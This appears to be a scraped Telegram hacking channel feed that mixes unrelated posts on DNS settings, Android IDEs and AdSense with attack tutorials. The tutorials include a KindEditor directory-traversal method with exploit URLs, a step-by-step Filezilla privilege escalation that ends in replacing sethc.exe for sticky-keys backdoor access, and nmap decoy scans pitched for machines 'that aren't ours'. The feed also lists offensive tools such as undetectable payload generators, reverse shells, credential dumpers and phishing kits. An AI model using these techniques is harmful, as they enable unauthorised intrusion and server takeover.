Now it could be that your CCTV, IP camera is simply exposed on the Internet and the attacker has found it on sites such as Shodan. You haven’t changed the default password and bam, they are in. Watching your every move.

detailed proxies list

https://pastebin.com/LNiPv5hC

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Kindeditor traverse directory 0DAY problem

KindEditor is a set of open source HTML visual editor, mainly used to allow users to get WYSIWYG editing effects on websites, compatible with mainstream browsers such as IE, Firefox, Chrome, Safari, Opera. KindEditor is written in JavaScript and can be seamlessly integrated with Java, .NET, PHP, ASP and other programs.

> KindEditor is very suitable for use in CMS, shopping malls, forums, blogs, Wikis, emails and other Internet applications. Since the first release of 2.0 in , KindEditor has continued to expand the editor market share with its excellent user experience and leading technology. Has become one of the most popular editors in China.

🦑Use method:

1) http://localhost/67cms/kindeditor/php/file_manager_json.php?path=/
//path=/, burst out the absolute path D:\AppServ\www\67cms\kindeditor\php\file_manager_json.php


2) http://localhost/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
//According to the absolute path that broke out, modify the value of path to AppServ/www/67cms/
then it will be traversed d: All files and file names under /AppServ/www/67cms/

@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Speedup internet via DNS :


A) ROUTER

If you're using a router for your office network DNS settings—and you probably are—log into it and find your DNS server settings. Once there, note down your existing DNS records and replace them with the following:

-For IPv4: 1.1.1.1 and 1.0.0.1
-For IPv6: 2606:4700:4700::1111 and 2606:4700:4700::1001

That's it. The next time your computers look up a website, they'll use the 1.1.1.1 DNS services.

B) WINDOWS
With Windows 10:

1) Click on the Start menu.
2) Click on the Settings icon.
3) Click on Network & Internet.
4) Click on Change adapter options.
5)Double-click on the active network adapter.
6)Write down any existing DNS server entries for future reference.
7)Click Use The Following DNS Server Addresses.
8)Replace those addresses with the 1.1.1.1 DNS addresses:
For IPv4: 1.1.1.1 and 1.0.0.1
For IPv6: 2606:4700:4700::1111 and 2606:4700:4700::1001
9) With Windows 7 and earlier, click on the Start menu, then click on Control Panel and follow these instructions:

10) Click on Network and Internet.

11) Click on Change Adapter Settings.
12) Right click on the Wi-Fi network you are connected to, then click Properties.

13) Select Internet Protocol Version 4 (or Version 6 if desired).
14) Click Properties.

15) Write down any existing DNS server entries for future reference.

16) Click Use The Following DNS Server Addresses.

17) Replace those addresses with the 1.1.1.1 DNS addresses:
For IPv4: 1.1.1.1 and 1.0.0.1
For IPv6: 2606:4700:4700::1111 and 2606:4700:4700::1001

@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑A GOOD 2020 of LIST TERMUX-LINUX TOOLS :

- Threadtear - Multifunctional Java Deobfuscation Tool Suite

- Wifipumpkin3 - Powerful Framework For Rogue Access Point Attack

- Catchyou - FUD Win32 Msfvenom Payload Generator

- PayloadsAllTheThings - A List Of Useful Payloads And Bypass For Web Application Security And Pentest/CTF

- Exegol - Exegol Is A Kali Light Base With A Few Useful Additional Tools And Some Basic Configuration

- GDBFrontend - An Easy, Flexible And Extensionable GUI Debugger

- Shellerator - Simple CLI Tool For The Generation Of Bind And Reverse Shells In Multiple Languages

- Powerob - An On-The-Fly Powershell Script Obfuscator Meant For Red Team Engagements

- How to Set Up a VPN on Kodi in 2 Minutes or Less

- PowerSploit - A PowerShell Post-Exploitation Framework

- HiveJack - This Tool Can Be Used During Internal Penetration Testing To Dump Windows Credentials From An Already-Compromised Host

- Nexphisher - Advanced Phishing Tool For Linux & Termux

- TorghostNG - Make All Your Internet Traffic Anonymized Through Tor Network

- Sshprank - A Fast SSH Mass-Scanner, Login Cracker And Banner Grabber Tool Using The Python-Masscan Module

- Generator-Burp-Extension - Everything You Need About Burp Extension Generation

- Parsec - Secure Cloud Framework

- Invoker - Penetration Testing Utility

- Authelia - The Single Sign-On Multi-Factor Portal For Web Apps

- OSSEM - A Tool To Assess Data Quality

- Klar - Integration Of Clair And Docker Registry

- Powershell-Reverse-Tcp - PowerShell Script For Connecting To A Remote Host.
from git 2020✅
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

#full with pictures

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Explain Filezilla server privilege escalation :

Server privilege escalation is abbreviated as privilege escalation, which refers to the promotion of the original 80 port low privileges, such as ordinary network privileges, to system privileges, thereby obtaining all control rights of the server.
Rights escalation can be roughly divided into three types, namely:

1) Stack Overflow executes arbitrary code;

2) Uses existing running software with system permissions;

3) Matches the password of the administrator account through social engineering.

> This undercode tutorial is talking about the second type, using the existing system permission program Filezilla to obtain permissions.

4) Filezilla is the same as a normal Web site. The front desk has a normal FTP account to perform upload, download, delete and other actions, while the backend has an administrator console to set the front desk account and account permissions.

5) The foreground is port 21, and the background is port 14147 by default. Our method of escalation is to illegally connect directly to port 14147, illegally log in to the remote Filezilla, and create an FTP account with all the permissions of the hard disk directory.

6) Confirm that the server is running Filezilla and port 14147 is opened, the steps are as follows:

7) The first step is to find the Filezilla directory. If you can't find it, just guess.
I directly packaged the entire filezilla directory and downloaded it, running on a remote independent ip server, and the connection port was changed from 14147 to 4444

The second step is to run lcx on the independent IP server to monitor and forward the port

> lcx -l 3333 4444

8) The third step is to run Filezilla on an independent ip server, and the connection port is 4444

& now you can see pass

9) The fourth step is to use Filezilla to create an account with C drive permissions. You must have the permissions to read, write, create, delete.

10) If the network speed is unstable and the account creation fails, you can select one option and confirm it once, then reopen the settings card and select the next option.

11) Now as long as you connect to FTP and replace sethc.exe, you can log in with 3389 connection and 5 shifts.

@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Let’s first see what exactly can you do using zANTI
1. Hijack HTTP Sessions via MITM 2. Capture Downloads 3. Modify HTTP requests and responses via MITM 4. Exploit routers 5. Hack Passwords 6. Check a Device for Shellshock and SSL Poodle Vulnerabilities 7. Do a nmap detailed scan

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Nmap ("Network Mapper") tutorial termux

1) apt install nmap (linux)

2) pkg get nmap (termux)

3) to start Nmap simply type and hit enter.

4) type nmap

you will get options for scanning.

5) now you can use nmap using commands like.

nmap -v -A 204.14.72.187

6) spoof or decoy scan
Nmap allows us to use decoy IP addresses in order that it's like many IP addresses are scanning the target.

When we are scanning machines that aren't ours, we frequently want to cover our IP (our identity). Obviously, every packet must contain our source address alternatively the response from the target system won't know where to return to.

nmap -sS 192.168.0.0 -D 10.0.0.1,10.0.0.2,10.0.0.4

7) Output to a File
many times we need output of scans for later references and use with other tools. to save lots of output in NMAP simply use -oN switch.

add -oN command and after that name of the file you want to output in. Here, I have used a file named "nmapscan.txt"
nmap -sS 192.168.89.191 -oN nmapscan

now cat this output to see what's in it using the command

> cat nmapscan

8) ARP scan (Address Resolution Protocol) :

> nmap --arp-type ARP (target IP)

9) TCP connect scan:


nmap -sT (IP address)


@undercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

FRESH PROXIES with details


https://pastebin.com/Mb3n5uFR

-Learning to use Kafka with Python Learn
-how to leverage VirusTotal to detect malicious files Deploying Kafka and Rsyslog server on Docker

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑#forbeginers Google AdSense allows modification of Western Union’s phonetic name

> In the Google AdSense account settings, our pinyin name is always set upside down for us. According to the custom of foreign countries, the surname is always placed after the name, so we always hit a wall when we withdraw money in Western Union. According to many people's feedback, GG finally made today's decision to allow the modification of Western Union's phonetic name.

> The following is the content announced on the GG official website: Since the opening of Western Union, many publishers need to write us an email to modify the pinyin name to receive payment. In order to facilitate the smooth withdrawal of funds from publishers, we are happy to inform you that now you can directly modify the pinyin name in your account!

The modification steps are very simple:

1️⃣ Log in to your AdSense account and click on the My Account link.

2️⃣ Click the edit link next to the payment details.

3️⃣Select Set up Western Union Quick Cash and click Continue.
Then you will see the page to modify the pinyin name: you only need to fill in the pinyin of your name in the corresponding box, the case of the pinyin has no effect, but do not add spaces between the names.

@undercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑BEST 2020 IDE FOR ANDROID :

https://play.google.com/store/apps/details?id=ch.tanapro.JavaIDEdroid

https://play.google.com/store/apps/details?id=air.JavaEditor

https://play.google.com/store/apps/details?id=com.aor.droidedit&feature=also_installed

https://play.google.com/store/apps/details?id=org.pocketworkstation.pckeyboard

https://play.google.com/store/apps/details?id=com.paprbit.dcoder

https://play.google.com/store/apps/details?id=twig.nguyen.codepeeker.pro

https://play.google.com/store/apps/details?id=com.aide.ui

https://play.google.com/store/apps/details?id=com.majosoft.anacode

https://play.google.com/store/apps/details?id=com.henrythompson.quoda

https://play.google.com/store/apps/details?id=com.duy.compiler.javanide

@undercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑now avaible for termux facebook account information gathering :

1) $ pkg update upgrade

2) $ pkg install git python2

3) $ git clone https://github.com/ciku370/OSIF

4) $ cd OSIF

5) $ pip2 install -r requirements.txt

6) $ python2 osif.py

7) if you are confused how to use it, please type 'help' to display the help menu


@undercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Support & Share ❤️👍🏻

T.me/UndercodeTesting